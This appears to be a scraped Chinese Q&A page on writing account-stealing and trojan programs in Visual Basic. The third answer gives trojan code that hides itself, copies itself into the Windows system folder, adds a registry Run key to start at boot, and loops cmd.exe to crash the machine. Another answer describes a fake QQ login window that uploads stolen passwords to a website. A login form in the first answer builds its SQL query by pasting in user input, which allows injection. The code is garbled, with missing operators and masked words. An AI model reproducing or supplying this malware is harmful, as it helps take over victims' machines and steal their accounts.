本文目录一览:
- 1、怎么用VB设计盗号程序
- 2、关于用VB *** *** 本地盗号程序的问题
- 3、用VB怎么 *** 简单的木马视频
- 4、盗号者使用VB盗号怎么获得被盗者的账号信息
- 5、关于VB的盗号程序 *** 跪求VB的高手帮帮小弟
怎么用VB设计盗号程序
代码Option Explicit
Public Conn As New ADODB.Connection '标记连接对象
Private Sub cmdLogin_Click()
Dim SQL As String
Dim rs_Login As New ADODB.Recordset
If Trim(txtuser.Text) = "" Then '判断输入的用户名是否为空
MsgBox "请输入用户名", vbOKOnly + vbExclamation
txtuser.Text = ""
txtuser.SetFocus
ElseIf txtpwd.Text = "" Then
MsgBox "请输入密码", vbOKOnly + vbExclamation
txtpwd.Text = ""
txtpwd.SetFocus
Else
SQL = "select * from 系统管理 where 用户名='" txtuser.Text "'"
rs_Login.Open SQL, Conn, adOpenKeyset, adLockPessimistic
If rs_Login.EOF = True Then
MsgBox "对不起,没有这个用户", vbOKOnly + vbExclamation
txtuser.Text = ""
txtuser.SetFocus
rs_Login.Close
Else '检验密码是否正确
If rs_Login.Fields(1) = txtpwd.Text Then
UserID = txtuser.Text
UserPow = rs_Login.Fields(2)
rs_Login.Close
Unload Me
FrmLoading.Show
Exit Sub
Else
MsgBox "密码错误,请您重输", vbOKOnly + vbExclamation
txtpwd.Text = ""
txtpwd.SetFocus
rs_Login.Close
End If
End If
End If
End Sub
Private Sub Form_Load() '系统初始化,加载数据库
Dim Connectionstring As String
Connectionstring = "provider=Microsoft.Jet.oledb.4.0;" _
"Data Source=" App.Path "\book.mdb"
Conn.Open Connectionstring
End Sub
Private Sub txtpwd_KeyPress(KeyAscii As Integer) '敲回车直接登陆
If KeyAscii = 13 Then cmdLogin_Click
End Sub
关于用VB *** *** 本地盗号程序的问题
哦,这个啊,可以用label控件的啊,点一下弹出,再点下收进去
要源代码加我 505833944
用VB怎么 *** 简单的木马视频
打开VB---
之一步,隐藏一下我们的小东西!
把Visible 设为False,这样打开程序,在桌面会看不到。
加入代码
App.TaskVisible = False
这样就在任务管理器中隐藏了。
第二步,写入自我复制代码
Dim f As String
f = App.Path "\" App.EXEName ".exe"
d = "C:\WINDOWS\SYSTEM\bo.exe" '这个bo.exe大家可以改下名,随便改。
FileCopy f, d
第三步,实现开机启动。
Set wsh = CreateObject("Wscript.Shell")
wsh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xiaochouwanju", "C:\WINDOWS\SYSTEM\bo.exe" 'bo.exe要与上面相吻合。
加入这些代码就在注册表内让开机启动C:\WINDOWS\SYSTEM\bo.exe了,呵呵
第四步 让机器死机
Do
shell "cmd.exe"
loop
盗号者使用VB盗号怎么获得被盗者的账号信息
首先就是vb创建两个text(一个是输入帐号一个是输入密码) 一个按钮 把窗口设置的像qq登陆窗口一样
然后被盗者像以往那样输入帐号 然后登陆
然后盗号软件就会把两text上的内容上传到一个网站上
然后盗号者就知道帐号密码了
然后盗号者就上被盗者的 *** 疯狂的泡妞
然后有可能泡到妞
当然泡不到的机率会大点
关于VB的盗号程序 *** 跪求VB的高手帮帮小弟
建议楼主编程从C语言开始,如果想好好学编程的,先从底层学起,特别是数据结构 ,不要学那些华而不实的东西,